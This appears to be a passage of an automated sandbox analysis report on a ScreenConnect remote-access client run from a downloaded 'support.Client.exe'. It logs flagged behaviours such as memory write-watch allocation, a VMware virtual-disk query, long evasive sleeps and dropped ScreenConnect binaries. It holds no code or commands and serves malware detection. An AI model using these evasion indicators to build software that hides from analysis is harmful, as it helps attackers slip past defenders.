Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe Process information set: NOOPENFILEERRORBOX
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Memory allocated: 212A1610000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Memory allocated: 212BB220000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Memory allocated: C80000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Memory allocated: 1AA50000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Memory allocated: 1480000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Memory allocated: 30C0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Memory allocated: 14E0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Memory allocated: 1790000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Memory allocated: 1F80000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Memory allocated: 1DC0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Memory allocated: 1670000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Memory allocated: 1B040000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Memory allocated: 1080000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Memory allocated: 1AA70000 memory reserve | memory write watch
Contains capabilities to detect virtual machines
Source: C:\Windows\System32\svchost.exe File opened / queried: SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b} Jump to behavior
Contains long sleeps (>= 3 min)
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599874 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599766 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599654 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599542 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599432 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599320 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599209 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599081 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 598953 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 598841 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 598725 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 598617 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 598506 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 598379 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 598251 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 598126 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597998 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597886 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597774 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597663 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597551 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597423 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597295 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597184 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597072 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596960 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596848 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596721 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596593 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596482 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596370 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596258 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596147 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596035 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595907 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595796 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595684 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595573 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595461 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595349 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595221 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595095 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594968 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594856 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594744 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594632 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594520 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594392 Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Thread delayed: delay time: 922337203685477
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Window / User API: threadDelayed 9688 Jump to behavior
Found dropped PE file which has not been started or loaded
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\VPHPX4NN.BTC\4JXNCLAQ.OW1\ScreenConnect.Core.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\VPHPX4NN.BTC\4JXNCLAQ.OW1\ScreenConnect.Client.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\VPHPX4NN.BTC\4JXNCLAQ.OW1\ScreenConnect.WindowsFileManager.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..dows_4b14c015c87c1ad8_0017.0009_none_6a433ce92d10b8e9\ScreenConnect.Windows.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\VPHPX4NN.BTC\4JXNCLAQ.OW1\ScreenConnect.Windows.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre...exe_25b0fbb6ef7eb094_0017.0009_none_aa62037c34f7a445\ScreenConnect.WindowsFileManager.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre...exe_25b0fbb6ef7eb094_0017.0009_none_aa62037c34f7a445\ScreenConnect.WindowsBackstageShell.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\VPHPX4NN.BTC\4JXNCLAQ.OW1\ScreenConnect.WindowsBackstageShell.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..core_4b14c015c87c1ad8_0017.0009_none_65cb6507f0c2a5b9\ScreenConnect.Core.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..vice_4b14c015c87c1ad8_0017.0009_none_171efd5086820924\ScreenConnect.ClientService.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\VPHPX4NN.BTC\4JXNCLAQ.OW1\ScreenConnect.ClientService.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..ient_4b14c015c87c1ad8_0017.0009_none_fbe0c2da0011fbbd\ScreenConnect.Client.dll Jump to dropped file
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\svchost.exe TID: 6716 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Users\user\Downloads\support.Client.exe TID: 7644 Thread sleep time: -40000s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7736 Thread sleep time: -11068046444225724s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7736 Thread sleep time: -600000s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7736 Thread sleep time: -599874s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7736 Thread sleep time: -599766s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7736 Thread sleep time: -599654s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7736 Thread sleep time: -599542s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7736 Thread sleep time: -599432s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7736 Thread sleep time: -599320s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7736 Thread sleep time: -599209s >= -30000s Jump to behavior
